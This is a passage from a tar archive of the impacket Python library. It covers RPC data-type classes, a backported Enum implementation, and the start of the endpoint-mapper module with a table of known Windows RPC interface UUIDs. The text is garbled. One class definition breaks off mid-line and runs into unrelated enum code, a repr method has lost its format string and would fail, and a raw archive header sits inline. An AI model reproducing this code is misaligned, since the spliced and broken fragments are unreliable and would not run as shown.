PBYTE = LPBYTE
# 2.2.4 BOOLEAN
BOOLEAN = NDRBOOLEAN
# 2.2.6 BYTE
BYTE = NDRUSMALL
# 2.2.7 CHAR
CHAR = NDRSMALL
class PCHAR(NDRPOINTER):
referent = (
('Data', CHAR),
)
class WIDESTR(NDRUniFixedArray):
def getDataLen(self, data):
return data.find('\x00\x00\x00')+3
def __setitem__(self, key, value):
if key == 'Data':
try:
self.fields[key] = value.encode('utf-16le')
except UnicodeDecodeError:
import sys
self.fields[key] = value.decode(sys.getfilesystemencoding()).encode('utf-16le')
self.data = None # force recompute
else:
return NDR.__setitem__(self, key, value)
def __getitem__(self, key):
if key == 'Data':
return self.fields[key].decode('utf-16le')
else:
return NDR.__getitem__(self,key)
class STR(NDRSTRUCT):
commonHdr = (
('MaximumCount', ' 4)
def _is_sunder(name):
"""Returns True if a _sunder_ name, False otherwise."""
return (name[0] == name[-1] == '_' and
name[1:2] != '_' and
name[-2:-1] != '_' and
len(name) > 2)
def _make_class_unpicklable(cls):
"""Make the given class un-picklable."""
def _break_on_call_reduce(self):
raise TypeError('%r cannot be pickled' % self)
cls.__reduce__ = _break_on_call_reduce
cls.__module__ = ''
class _EnumDict(dict):
"""Track enum member order and ensure member names are not reused.
EnumMeta will use the names found in self._member_names as the
enumeration member names.
"""
def __init__(self):
super(_EnumDict, self).__init__()
self._member_names = []
def __setitem__(self, key, value):
"""Changes anything not dundered or not a descriptor.
If a descriptor is added with the same name as an enum member, the name
is removed from _member_names (this may leave a hole in the numerical
sequence of values).
If an enum member name is used twice, an error is raised; duplicate
values are not checked for.
Single underscore (sunder) names are reserved.
Note: in 3.x __order__ is simply discarded as a not necessary piece
leftover from 2.x
"""
if pyver >= 3.0 and key == '__order__':
return
if _is_sunder(key):
raise ValueError('_names_ are reserved for future Enum use')
elif _is_dunder(key):
pass
elif key in self._member_names:
# descriptor overwriting an enum?
raise TypeError('Attempted to reuse key: %r' % key)
elif not _is_descriptor(value):
if key in self:
# enum overwriting a descriptor?
raise TypeError('Key already defined as: %r' % self[key])
self._member_names.append(key)
super(_EnumDict, self).__setitem__(key, value)
# Dummy value for Enum as EnumMeta explicity checks for it, but of course until
# EnumMeta finishes running the first time the Enum class doesn't exist. This
# is also why there are checks in EnumMeta like `if Enum is not None`
Enum = None
class EnumMeta(type):
"""Metaclass for Enum"""
@classmethod
def __prepare__(metacls, cls, bases):
return _EnumDict()
def __new__(metacls, cls, bases, classdict):
# an Enum class is final once enumeration items have been defined; it
# cannot be mixed with other types (int, float, etc.) if it has an
# inherited __new__ unless a new __new__ is defined (or the resulting
# class will fail).
if type(classdict) is dict:
original_dict = classdict
classdict = _EnumDict()
for k, v in original_dict.items():
classdict[k] = v
member_type, first_enum = metacls._get_mixins_(bases)
#if member_type is object:
# use_args = False
#else:
# use_args = True
__new__, save_new, use_args = metacls._find_new_(classdict, member_type,
first_enum)
# save enum items into separate mapping so they don't get baked into
# the new class
members = dict((k, classdict[k]) for k in classdict._member_names)
for name in classdict._member_names:
del classdict[name]
# py2 support for definition order
__order__ = classdict.get('__order__')
if __order__ is None:
__order__ = classdict._member_names
if pyver < 3.0:
order_specified = False
else:
order_specified = True
else:
del classdict['__order__']
order_specified = True
if pyver < 3.0:
__order__ = __order__.replace(',', ' ').split()
aliases = [name for name in members if name not in __order__]
__order__ += aliases
# check for illegal enum names (any others?)
invalid_names = set(members) & set(['mro'])
if invalid_names:
raise ValueError('Invalid enum member name(s): %s' % (
', '.join(invalid_names), ))
# create our new Enum type
enum_class = super(EnumMeta, metacls).__new__(metacls, cls, bases, classdict)
enum_class._member_names_ = [] # names in random order
enum_class._member_map_ = {} # name->value map
enum_class._member_type_ = member_type
# Reverse value->name map for hashable values.
enum_class._value2member_map_ = {}
# check for a __getnewargs__, and if not present sabotage
# pickling, since it won't work anyway
if (member_type is not object and
member_type.__dict__.get('__getnewargs__') is None
):
_make_class_unpicklable(enum_class)
# instantiate them, checking for duplicates as we go
# we instantiate first instead of checking for duplicates first in case
# a custom __new__ is doing something funky with the values -- such as
# auto-numbering ;)
if __new__ is None:
__new__ = enum_class.__new__
for member_name in __order__:
value = members[member_name]
if not isinstance(value, tuple):
args = (value, )
else:
args = value
if member_type is tuple: # special case for tuple enums
args = (args, ) # wrap it one more time
if not use_args or not args:
enum_member = __new__(enum_class)
if not hasattr(enum_member, '_value_'):
enum_member._value_ = value
else:
enum_member = __new__(enum_class, *args)
if not hasattr(enum_member, '_value_'):
enum_member._value_ = member_type(*args)
value = enum_member._value_
enum_member._name_ = member_name
enum_member.__objclass__ = enum_class
enum_member.__init__(*args)
# If another member with the same value was already defined, the
# new member becomes an alias to the existing one.
for name, canonical_member in enum_class._member_map_.items():
if canonical_member.value == enum_member._value_:
enum_member = canonical_member
break
else:
# Aliases don't appear in member names (only in __members__).
enum_class._member_names_.append(member_name)
enum_class._member_map_[member_name] = enum_member
try:
# This may fail if value is not hashable. We can't add the value
# to the map, and by-value lookups for this value will be
# linear.
enum_class._value2member_map_[value] = enum_member
except TypeError:
pass
# in Python2.x we cannot know definition order, so go with value order
# unless __order__ was specified in the class definition
if not order_specified:
enum_class._member_names_ = [
e[0] for e in sorted(
[(name, enum_class._member_map_[name]) for name in enum_class._member_names_],
key=lambda t: t[1]._value_
)]
# double check that repr and friends are not the mixin's or various
# things break (such as pickle)
if Enum is not None:
setattr(enum_class, '__getnewargs__', Enum.__getnewargs__)
for name in ('__repr__', '__str__', '__format__'):
class_method = getattr(enum_class, name)
obj_method = getattr(member_type, name, None)
enum_method = getattr(first_enum, name, None)
if obj_method is not None and obj_method is class_method:
setattr(enum_class, name, enum_method)
# method resolution and int's are not playing nice
# Python's less than 2.6 use __cmp__
if pyver < 2.6:
if issubclass(enum_class, int):
setattr(enum_class, '__cmp__', getattr(int, '__cmp__'))
elif pyver < 3.0:
if issubclass(enum_class, int):
for method in (
'__le__',
'__lt__',
'__gt__',
'__ge__',
'__eq__',
'__ne__',
'__hash__',
):
setattr(enum_class, method, getattr(int, method))
# replace any other __new__ with our own (as long as Enum is not None,
# anyway) -- again, this is to support pickle
if Enum is not None:
# if the user defined their own __new__, save it before it gets
# clobbered in case they subclass later
if save_new:
setattr(enum_class, '__member_new__', enum_class.__dict__['__new__'])
setattr(enum_class, '__new__', Enum.__dict__['__new__'])
return enum_class
def __call__(cls, value, names=None, module=None, type=None):
"""Either returns an existing member, or creates a new enum class.
This method is used both when an enum class is given a value to match
to an enumeration member (i.e. Color(3)) and for the functional API
(i.e. Color = Enum('Color', names='red green blue')).
When used for the functional API: `module`, if set, will be stored in
the new class' __module__ attribute; `type`, if set, will be mixed in
as the first base class.
Note: if `module` is not set this routine will attempt to discover the
calling module by walking the frame stack; if this is unsuccessful
the resulting class will not be pickleable.
"""
if names is None: # simple value lookup
return cls.__new__(cls, value)
# otherwise, functional API: we're creating a new Enum type
return cls._create_(value, names, module=module, type=type)
def __contains__(cls, member):
return isinstance(member, cls) and member.name in cls._member_map_
def __delattr__(cls, attr):
# nicer error message when someone tries to delete an attribute
# (see issue19025).
if attr in cls._member_map_:
raise AttributeError(
"%s: cannot delete Enum member." % cls.__name__)
super(EnumMeta, cls).__delattr__(attr)
def __dir__(self):
return (['__class__', '__doc__', '__members__', '__module__'] +
self._member_names_)
@property
def __members__(cls):
"""Returns a mapping of member name->value.
This mapping lists all enum members, including aliases. Note that this
is a copy of the internal mapping.
"""
return cls._member_map_.copy()
def __getattr__(cls, name):
"""Return the enum member matching `name`
We use __getattr__ instead of descriptors or inserting into the enum
class' __dict__ in order to support `name` and `value` being both
properties for enum members (which live in the class' __dict__) and
enum members themselves.
"""
if _is_dunder(name):
raise AttributeError(name)
try:
return cls._member_map_[name]
except KeyError:
raise AttributeError(name)
def __getitem__(cls, name):
return cls._member_map_[name]
def __iter__(cls):
return (cls._member_map_[name] for name in cls._member_names_)
def __reversed__(cls):
return (cls._member_map_[name] for name in reversed(cls._member_names_))
def __len__(cls):
return len(cls._member_names_)
def __repr__(cls):
return "" % cls.__name__
def __setattr__(cls, name, value):
"""Block attempts to reassign Enum members.
A simple assignment to the class namespace only changes one of the
several possible ways to get an Enum member from the Enum class,
resulting in an inconsistent Enumeration.
"""
member_map = cls.__dict__.get('_member_map_', {})
if name in member_map:
raise AttributeError('Cannot reassign members.')
super(EnumMeta, cls).__setattr__(name, value)
def _create_(cls, class_name, names=None, module=None, type=None):
"""Convenience method to create a new Enum class.
`names` can be:
* A string containing member names, separated either with spaces or
commas. Values are auto-numbered from 1.
* An iterable of member names. Values are auto-numbered from 1.
* An iterable of (member name, value) pairs.
* A mapping of member name -> value.
"""
metacls = cls.__class__
if type is None:
bases = (cls, )
else:
bases = (type, cls)
classdict = metacls.__prepare__(class_name, bases)
__order__ = []
# special processing needed for names?
if isinstance(names, str):
names = names.replace(',', ' ').split()
if isinstance(names, (tuple, list)) and isinstance(names[0], str):
names = [(e, i+1) for (i, e) in enumerate(names)]
# Here, names is either an iterable of (name, value) or a mapping.
for item in names:
if isinstance(item, str):
member_name, member_value = item, names[item]
else:
member_name, member_value = item
classdict[member_name] = member_value
__order__.append(member_name)
# only set __order__ in classdict if name/value was not from a mapping
if not isinstance(item, str):
classdict['__order__'] = ' '.join(__order__)
enum_class = metacls.__new__(metacls, class_name, bases, classdict)
# TODO: replace the frame hack if a blessed way to know the calling
# module is ever developed
if module is None:
try:
module = _sys._getframe(2).f_globals['__name__']
except (AttributeError, ValueError):
pass
if module is None:
_make_class_unpicklable(enum_class)
else:
enum_class.__module__ = module
return enum_class
@staticmethod
def _get_mixins_(bases):
"""Returns the type for creating enum members, and the first inherited
enum class.
bases: the tuple of bases that was given to __new__
"""
if not bases or Enum is None:
return object, Enum
# double check that we are not subclassing a class with existing
# enumeration members; while we're at it, see if any other data
# type has been mixed in so we can use the correct __new__
member_type = first_enum = None
for base in bases:
if (base is not Enum and
issubclass(base, Enum) and
base._member_names_):
raise TypeError("Cannot extend enumerations")
# base is now the last base in bases
if not issubclass(base, Enum):
raise TypeError("new enumerations must be created as "
"`ClassName([mixin_type,] enum_type)`")
# get correct mix-in type (either mix-in type of Enum subclass, or
# first base if last base is Enum)
if not issubclass(bases[0], Enum):
member_type = bases[0] # first data type
first_enum = bases[-1] # enum type
else:
for base in bases[0].__mro__:
# most common: (IntEnum, int, Enum, object)
# possible: (, ,
# , ,
# )
if issubclass(base, Enum):
if first_enum is None:
first_enum = base
else:
if member_type is None:
member_type = base
return member_type, first_enum
if pyver < 3.0:
@staticmethod
def _find_new_(classdict, member_type, first_enum):
"""Returns the __new__ to be used for creating the enum members.
classdict: the class dictionary given to __new__
member_type: the data type whose __new__ will be used by default
first_enum: enumeration to check for an overriding __new__
"""
# now find the correct __new__, checking to see of one was defined
# by the user; also check earlier enum classes in case a __new__ was
# saved as __member_new__
__new__ = classdict.get('__new__', None)
if __new__:
return None, True, True # __new__, save_new, use_args
N__new__ = getattr(None, '__new__')
O__new__ = getattr(object, '__new__')
if Enum is None:
E__new__ = N__new__
else:
E__new__ = Enum.__dict__['__new__']
# check all possibles for __member_new__ before falling back to
# __new__
for method in ('__member_new__', '__new__'):
for possible in (member_type, first_enum):
try:
target = possible.__dict__[method]
except (AttributeError, KeyError):
target = getattr(possible, method, None)
if target not in [
None,
N__new__,
O__new__,
E__new__,
]:
if method == '__member_new__':
classdict['__new__'] = target
return None, False, True
if isinstance(target, staticmethod):
target = target.__get__(member_type)
__new__ = target
break
if __new__ is not None:
break
else:
__new__ = object.__new__
# if a non-object.__new__ is used then whatever value/tuple was
# assigned to the enum member name will be passed to __new__ and to the
# new enum member's __init__
if __new__ is object.__new__:
use_args = False
else:
use_args = True
return __new__, False, use_args
else:
@staticmethod
def _find_new_(classdict, member_type, first_enum):
"""Returns the __new__ to be used for creating the enum members.
classdict: the class dictionary given to __new__
member_type: the data type whose __new__ will be used by default
first_enum: enumeration to check for an overriding __new__
"""
# now find the correct __new__, checking to see of one was defined
# by the user; also check earlier enum classes in case a __new__ was
# saved as __member_new__
__new__ = classdict.get('__new__', None)
# should __new__ be saved as __member_new__ later?
save_new = __new__ is not None
if __new__ is None:
# check all possibles for __member_new__ before falling back to
# __new__
for method in ('__member_new__', '__new__'):
for possible in (member_type, first_enum):
target = getattr(possible, method, None)
if target not in (
None,
None.__new__,
object.__new__,
Enum.__new__,
):
__new__ = target
break
if __new__ is not None:
break
else:
__new__ = object.__new__
# if a non-object.__new__ is used then whatever value/tuple was
# assigned to the enum member name will be passed to __new__ and to the
# new enum member's __init__
if __new__ is object.__new__:
use_args = False
else:
use_args = True
return __new__, save_new, use_args
########################################################
# In order to support Python 2 and 3 with a single
# codebase we have to create the Enum methods separately
# and then use the `type(name, bases, dict)` method to
# create the class.
########################################################
temp_enum_dict = {}
temp_enum_dict['__doc__'] = "Generic enumeration.\n\n Derive from this class to define new enumerations.\n\n"
def __new__(cls, value):
# all enum instances are actually created during class construction
# without calling this method; this method is called by the metaclass'
# __call__ (i.e. Color(3) ), and by pickle
if type(value) is cls:
# For lookups like Color(Color.red)
value = value.value
#return value
# by-value search for a matching enum member
# see if it's in the reverse mapping (for hashable values)
try:
if value in cls._value2member_map_:
return cls._value2member_map_[value]
except TypeError:
# not there, now do long search -- O(n) behavior
for member in cls._member_map_.values():
if member.value == value:
return member
raise ValueError("%s is not a valid %s" % (value, cls.__name__))
temp_enum_dict['__new__'] = __new__
del __new__
def __repr__(self):
return "<%s.%s: %r>" % (
self.__class__.__name__, self._name_, self._value_)
temp_enum_dict['__repr__'] = __repr__
del __repr__
def __str__(self):
return "%s.%s" % (self.__class__.__name__, self._name_)
temp_enum_dict['__str__'] = __str__
del __str__
def __dir__(self):
added_behavior = [m for m in self.__class__.__dict__ if m[0] != '_']
return (['__class__', '__doc__', '__module__', 'name', 'value'] + added_behavior)
temp_enum_dict['__dir__'] = __dir__
del __dir__
def __format__(self, format_spec):
# mixed-in Enums should use the mixed-in type's __format__, otherwise
# we can get strange results with the Enum name showing up instead of
# the value
# pure Enum branch
if self._member_type_ is object:
cls = str
val = str(self)
# mix-in branch
else:
cls = self._member_type_
val = self.value
return cls.__format__(val, format_spec)
temp_enum_dict['__format__'] = __format__
del __format__
####################################
# Python's less than 2.6 use __cmp__
if pyver < 2.6:
def __cmp__(self, other):
if type(other) is self.__class__:
if self is other:
return 0
return -1
return NotImplemented
raise TypeError("unorderable types: %s() and %s()" % (self.__class__.__name__, other.__class__.__name__))
temp_enum_dict['__cmp__'] = __cmp__
del __cmp__
else:
def __le__(self, other):
raise TypeError("unorderable types: %s() <= %s()" % (self.__class__.__name__, other.__class__.__name__))
temp_enum_dict['__le__'] = __le__
del __le__
def __lt__(self, other):
raise TypeError("unorderable types: %s() < %s()" % (self.__class__.__name__, other.__class__.__name__))
temp_enum_dict['__lt__'] = __lt__
del __lt__
def __ge__(self, other):
raise TypeError("unorderable types: %s() >= %s()" % (self.__class__.__name__, other.__class__.__name__))
temp_enum_dict['__ge__'] = __ge__
del __ge__
def __gt__(self, other):
raise TypeError("unorderable types: %s() > %s()" % (self.__class__.__name__, other.__class__.__name__))
temp_enum_dict['__gt__'] = __gt__
del __gt__
def __eq__(self, other):
if type(other) is self.__class__:
return self is other
return NotImplemented
temp_enum_dict['__eq__'] = __eq__
del __eq__
def __ne__(self, other):
if type(other) is self.__class__:
return self is not other
return NotImplemented
temp_enum_dict['__ne__'] = __ne__
del __ne__
def __getnewargs__(self):
return (self._value_, )
temp_enum_dict['__getnewargs__'] = __getnewargs__
del __getnewargs__
def __hash__(self):
return hash(self._name_)
temp_enum_dict['__hash__'] = __hash__
del __hash__
# _RouteClassAttributeToGetattr is used to provide access to the `name`
# and `value` properties of enum members while keeping some measure of
# protection from modification, while still allowing for an enumeration
# to have members named `name` and `value`. This works because enumeration
# members are not set directly on the enum class -- __getattr__ is
# used to look them up.
@_RouteClassAttributeToGetattr
def name(self):
return self._name_
temp_enum_dict['name'] = name
del name
@_RouteClassAttributeToGetattr
def value(self):
return self._value_
temp_enum_dict['value'] = value
del value
Enum = EnumMeta('Enum', (object, ), temp_enum_dict)
del temp_enum_dict
# Enum has now been created
###########################
class IntEnum(int, Enum):
"""Enum where members are also (and must be) ints"""
def unique(enumeration):
"""Class decorator that ensures only unique members exist in an enumeration."""
duplicates = []
for name, member in enumeration.__members__.items():
if name != member.name:
duplicates.append((name, member.name))
if duplicates:
duplicate_names = ', '.join(
["%s -> %s" % (alias, name) for (alias, name) in duplicates]
)
raise ValueError('duplicate names found in %r: %s' %
(enumeration, duplicate_names)
)
return enumeration
impacket-0.9.15/impacket/dcerpc/v5/epm.py 0000600 0000765 0000000 00000261556 12734531507 020212 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description:
# [MS-RPCE]-C706 Interface implementation for the remote portmapper
#
# Best way to learn how to use these calls is to grab the protocol standard
# so you understand what the call does, and then read the test case located
# at https://github.com/CoreSecurity/impacket/tree/master/impacket/testcases/SMB_RPC
#
# Some calls have helper functions, which makes it even easier to use.
# They are located at the end of this file.
# Helper functions start with "h".
# There are test cases for them too.
#
import socket
from struct import unpack
from impacket.uuid import uuidtup_to_bin, bin_to_string
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantVaryingArray, NDRUniVaryingArray, \
NDRUniConformantArray
from impacket.dcerpc.v5.dtypes import UUID, LPBYTE, PUUID, ULONG, USHORT
from impacket.structure import Structure
from impacket.dcerpc.v5.ndr import NULL
from impacket.dcerpc.v5.rpcrt import DCERPCException
MSRPC_UUID_PORTMAP = uuidtup_to_bin(('E1AF8308-5D1F-11C9-91A4-08002B14A0FA', '3.0'))
class DCERPCSessionError(DCERPCException):
error_messages = {}
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
self.error_code = packet['status']
def __str__( self ):
key = self.error_code
if self.error_messages.has_key(key):
error_msg_short = self.error_messages[key]
return 'EPM SessionError: code: 0x%x - %s ' % (self.error_code, error_msg_short)
else:
return 'EPM SessionError: unknown error code: %s' % (str(self.error_code))
################################################################################
# CONSTANTS
################################################################################
KNOWN_UUIDS = {
"\xb0\x01\x52\x97\xca\x59\xd0\x11\xa8\xd5\x00\xa0\xc9\x0d\x80\x51\x01\x00": "rpcss.dll",
"\xf1\x8f\x37\xc9\xf7\x16\xd0\x11\xa0\xb2\x00\xaa\x00\x61\x42\x6a\x01\x00": "pstorsvc.dll",
"\xd4\xa7\x72\x0d\x48\x61\xd1\x11\xb4\xaa\x00\xc0\x4f\xb6\x6e\xa0\x01\x00": "cryptsvc.dll",
"\x40\x4e\x9f\x8d\x3d\xa0\xce\x11\x8f\x69\x08\x00\x3e\x30\x05\x1b\x01\x00": "services.exe",
"\xc5\x86\x5a\xda\xc2\x12\x43\x49\xab\x30\x7f\x74\xa8\x13\xd8\x53\x01\x00": "regsvc.dll",
"\x29\x07\x8a\xfb\x04\x2d\x58\x46\xbe\x93\x27\xb4\xad\x55\x3f\xac\x01\x00": "lsass.exe",
"\x04\xf7\xd9\x52\xc6\xd3\x48\x47\xad\x11\x25\x50\x20\x9e\x80\xaf\x00\x00": "IMEPADSM.DLL",
"\xce\xad\x21\xc4\xb2\xa0\x0d\x48\x84\x18\x98\x44\x95\xb3\x2d\x5f\x01\x00": "SLsvc.exe",
"\x14\xb5\xfb\xd3\x3b\x0e\xcb\x11\x8f\xad\x08\x00\x2b\x1d\x29\xc3\x01\x00": "locator.exe",
"\x6f\x40\x1c\xf6\x60\xbd\x94\x41\x95\x65\xbf\xed\xd5\x25\x6f\x70\x01\x00": "p2phost.exe",
"\x72\x33\x3d\xc1\x20\xcc\x49\x44\x9b\x23\x8c\xc8\x27\x1b\x38\x85\x01\x00": "rpcrt4.dll",
"\x70\xfe\x5a\xd9\xd5\xa6\x59\x42\x82\x2e\x2c\x84\xda\x1d\xdb\x0d\x01\x00": "wininit.exe",
"\x6a\x07\x2d\x55\x29\xcb\x44\x4e\x8b\x6a\xd1\x5e\x59\xe2\xc0\xaf\x01\x00": "iphlpsvc.dll",
"\x95\x4f\x25\xd4\xc3\x08\xcc\x4f\xb2\xa6\x0b\x65\x13\x77\xa2\x9d\x01\x00": "wwansvc.dll",
"\x43\x9a\x89\x11\x68\x2b\x76\x4a\x92\xe3\xa3\xd6\xad\x8c\x26\xce\x01\x00": "lsm.exe",
"\xb4\x33\x6f\x26\xc1\xc7\xd1\x4b\x8f\x52\xdd\xb8\xf2\x21\x4e\xa9\x01\x00": "wlansvc.dll",
"\x68\x9d\xcb\x2a\x34\xb4\x3e\x4b\xb9\x66\xe0\x6b\x4b\x3a\x84\xcb\x01\x00": "bthserv.dll",
"\xd0\x4c\x67\x57\x00\x52\xce\x11\xa8\x97\x08\x00\x2b\x2e\x9c\x6d\x01\x00": "llssrv.exe",
"\x52\x44\x7d\x64\x33\x9f\x18\x4a\xb2\xbe\xc5\xc0\xe9\x20\xe9\x4e\x01\x00": "pla.dll",
"\xc8\x9b\x3b\xde\xf7\xbe\x78\x45\xa0\xde\xf0\x89\x04\x84\x42\xdb\x01\x00": "audiodg.exe",
"\xd1\x51\xa9\xbf\x0e\x2f\xd3\x11\xbf\xd1\x00\xc0\x4f\xa3\x49\x0a\x01\x00": "aqueue.dll",
"\x84\x55\x66\x1e\xfe\x40\x50\x44\x8f\x6e\x80\x23\x62\x39\x96\x94\x01\x00": "lsm.exe",
"\x41\x76\x17\xaa\x9b\xfc\xbd\x41\x80\xff\xf9\x64\xa7\x01\x59\x6f\x01\x00": "tssdis.exe",
"\xe0\x0c\x6b\x90\x0b\xc7\x67\x10\xb3\x17\x00\xdd\x01\x06\x62\xda\x01\x00": "msdtcprx.dll",
"\x51\xb9\x6b\xfd\x30\xc8\x34\x47\xbf\x2c\x18\xba\x6e\xc7\xab\x49\x01\x00": "iscsiexe.dll",
"\x68\xff\x1d\x62\x39\x3c\x6c\x4c\xaa\xe3\xe6\x8e\x2c\x65\x03\xad\x01\x00": "wzcsvc.dll",
"\x56\xcc\x35\x94\x9c\x1d\x24\x49\xac\x7d\xb6\x0a\x2c\x35\x20\xe1\x01\x00": "sppsvc.exe",
"\xf0\xe4\x9c\x36\xdc\x0f\xd3\x11\xbd\xe8\x00\xc0\x4f\x8e\xee\x78\x01\x00": "profmap.dll",
"\x6a\x28\x19\x39\x0c\xb1\xd0\x11\x9b\xa8\x00\xc0\x4f\xd9\x2e\xf5\x00\x00": "lsasrv.dll",
"\x80\x2b\xd1\x76\x67\x34\xd3\x11\x91\xff\x00\x90\x27\x2f\x9e\xa3\x01\x00": "mqqm.dll",
"\x72\xfe\x0f\x8d\x52\xd2\xd0\x11\xbf\x8f\x00\xc0\x4f\xd9\x12\x6b\x01\x00": "cryptsvc.dll",
"\x86\xd4\xdc\x68\x9e\x66\xd1\x11\xab\x0c\x00\xc0\x4f\xc2\xdc\xd2\x01\x00": "ismserv.exe",
"\x83\xaf\xe1\x1f\x5d\xc9\x11\x91\xa4\x08\x00\x2b\x14\xa0\xfa\x03\x00\x00": "rpcss.dll",
"\x06\x91\x01\x24\x03\xa2\x42\x46\xb8\x8d\x82\xda\xe9\x15\x89\x29\x01\x00": "authui.dll",
"\x60\xa7\xa4\x5c\xb1\xeb\xcf\x11\x86\x11\x00\xa0\x24\x54\x20\xed\x01\x00": "termsrv.dll",
"\x4d\xdd\x73\x34\x88\x2e\x06\x40\x9c\xba\x22\x57\x09\x09\xdd\x10\x05\x01": "winhttp.dll",
"\xb2\xb8\x7d\xb9\x63\x4c\xcf\x11\xbf\xf6\x08\x00\x2b\xe2\x3f\x2f\x02\x00": "clussvc.exe",
"\x95\x1f\x51\x33\x84\x5b\xcc\x4d\xb6\xcc\x3f\x4b\x21\xda\x53\xe1\x01\x00": "ubpm.dll",
"\x78\xb2\xeb\x05\x14\xe1\xc1\x4e\xa5\xa3\x09\x61\x53\xf3\x00\xe4\x01\x01": "tsgqec.dll",
"\x24\xe4\xfb\x63\x29\x20\xd1\x11\x8d\xb8\x00\xaa\x00\x4a\xbd\x5e\x01\x00": "Sens.dll",
"\x36\xa0\x67\x07\x22\x0d\xaa\x48\xba\x69\xb6\x19\x48\x0f\x38\xcb\x01\x00": "pcasvc.dll",
"\x20\x32\x5f\x2f\x26\xc1\x76\x10\xb5\x49\x07\x4d\x07\x86\x19\xda\x01\x00": "netdde.exe",
"\x30\xa0\xb3\xfd\x5f\x06\xd1\x11\xbb\x9b\x00\xa0\x24\xea\x55\x25\x01\x00": "mqqm.dll",
"\x80\x7a\xdf\x77\x98\xf2\xd0\x11\x83\x58\x00\xa0\x24\xc4\x80\xa8\x01\x00": "mqdssrv.dll",
"\x03\x6d\x71\x98\xac\x89\xc7\x44\xbb\x8c\x28\x58\x24\xe5\x1c\x4a\x01\x00": "srvsvc.dll",
"\xc8\xad\x32\x4f\x52\x60\x04\x4a\x87\x01\x29\x3c\xcf\x20\x96\xf0\x01\x00": "sspisrv.dll",
"\x90\x38\xa9\x65\xb9\xfa\xa3\x43\xb2\xa5\x1e\x33\x0a\xc2\x8f\x11\x02\x00": "dnsrslvr.dll",
"\x32\xf5\x03\xc5\x3a\x44\x69\x4c\x83\x00\xcc\xd1\xfb\xdb\x38\x39\x01\x00": "MpSvc.dll",
"\x46\x9f\x3b\xc3\x88\x20\xbc\x4d\x97\xe3\x61\x25\xf1\x27\x66\x1c\x01\x00": "nlasvc.dll",
"\xa0\xb3\x02\xa0\xb7\xc9\xd1\x11\xae\x88\x00\x80\xc7\x5e\x4e\xc1\x01\x00": "wlnotify.dll",
"\xd0\xd1\x33\x88\x5f\x96\x16\x42\xb3\xe9\xfb\xe5\x8c\xad\x31\x00\x01\x00": "SCardSvr.dll",
"\x98\xd0\xff\x6b\x12\xa1\x10\x36\x98\x33\x46\xc3\xf8\x7e\x34\x5a\x01\x00": "wkssvc.dll",
"\x38\x8d\x04\x7e\x08\xac\xf1\x4f\x8e\x6b\xf3\x5d\xba\xb8\x8d\x4a\x01\x00": "mqqm.dll",
"\x35\x42\x51\xe3\x06\x4b\xd1\x11\xab\x04\x00\xc0\x4f\xc2\xdc\xd2\x04\x00": "ntdsai.dll",
"\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88\x00\x00": "sfmsvc.exe",
"\xc5\x28\x47\x3c\xab\xf0\x8b\x44\xbd\xa1\x6c\xe0\x1e\xb0\xa6\xd6\x01\x00": "dhcpcsvc6.dll",
"\x36\x01\x00\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46\x00\x00": "rpcss.dll",
"\x54\x79\x26\x3d\xb7\xee\xd1\x11\xb9\x4e\x00\xc0\x4f\xa3\x08\x0d\x01\x00": "lserver.dll",
"\xbf\x09\x11\x81\xe1\xa4\xd1\x11\xab\x54\x00\xa0\xc9\x1e\x9b\x45\x01\x00": "WINS.EXE",
"\xd0\xbb\xf5\x7a\x63\x60\xd1\x11\xae\x2a\x00\x80\xc7\x5e\x4e\xc1\x00\x00": "irmon.dll",
"\x99\x1e\xb8\x12\x07\xf2\x4c\x4a\x85\xd3\x77\xb4\x2f\x76\xfd\x14\x01\x00": "seclogon.dll",
"\x6c\x5e\x64\x00\x9f\xfc\x0c\x4a\x98\x96\xf0\x0b\x66\x29\x77\x98\x01\x00": "icardagt.exe",
"\x9f\x2f\x5b\xb1\x3c\x90\x71\x46\x8d\xc0\x77\x2c\x54\x21\x40\x68\x01\x00": "pwmig.dll",
"\xa6\x95\x7d\x49\x27\x2d\xf5\x4b\x9b\xbd\xa6\x04\x69\x57\x13\x3c\x01\x00": "termsrv.dll",
"\xcb\x92\xbe\x5c\xbe\xf4\xc9\x45\x9f\xc9\x33\xe7\x3e\x55\x7b\x20\x01\x00": "lsasrv.dll",
"\xa1\x0f\x51\x69\x99\x2f\xeb\x4e\xa4\xff\xaf\x25\x9f\x0f\x97\x49\x01\x00": "wecsvc.dll",
"\x70\x5d\xfb\x8c\xa4\x31\xcf\x11\xa7\xd8\x00\x80\x5f\x48\xa1\x35\x03\x00": "smtpsvc.dll",
"\x46\x0d\x85\x77\x1d\x85\xb6\x43\x93\x98\x29\x01\x61\xf0\xca\xe6\x01\x00": "SeVA.dll",
"\xc3\x26\xf2\x76\x14\xec\x25\x43\x8a\x99\x6a\x46\x34\x84\x18\xaf\x01\x00": "winlogon.exe",
"\x84\x65\x0a\x0b\x0f\x9e\xcf\x11\xa3\xcf\x00\x80\x5f\x68\xcb\x1b\x01\x00": "rpcss.dll",
"\x15\x55\xf2\x11\x79\xc8\x0a\x40\x98\x9e\xb0\x74\xd5\xf0\x92\xfe\x01\x00": "lsm.exe",
"\xc0\xe0\x4d\x89\x55\x0d\xd3\x11\xa3\x22\x00\xc0\x4f\xa3\x21\xa1\x01\x00": "wininit.exe",
"\x00\xac\x0a\xf5\xf3\xc7\x8e\x42\xa0\x22\xa6\xb7\x1b\xfb\x9d\x43\x01\x00": "cryptsvc.dll",
"\xa5\x44\xb0\x30\x25\xa2\xf0\x43\xb3\xa4\xe0\x60\xdf\x91\xf9\xc1\x01\x00": "certprop.dll",
"\x78\x57\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\x89\xab\x00\x00": "lsasrv.dll",
"\x49\x69\xe9\x98\x59\xbc\xf1\x47\x92\xd1\x8c\x25\xb4\x6f\x85\xc7\x01\x00": "wlanext.exe",
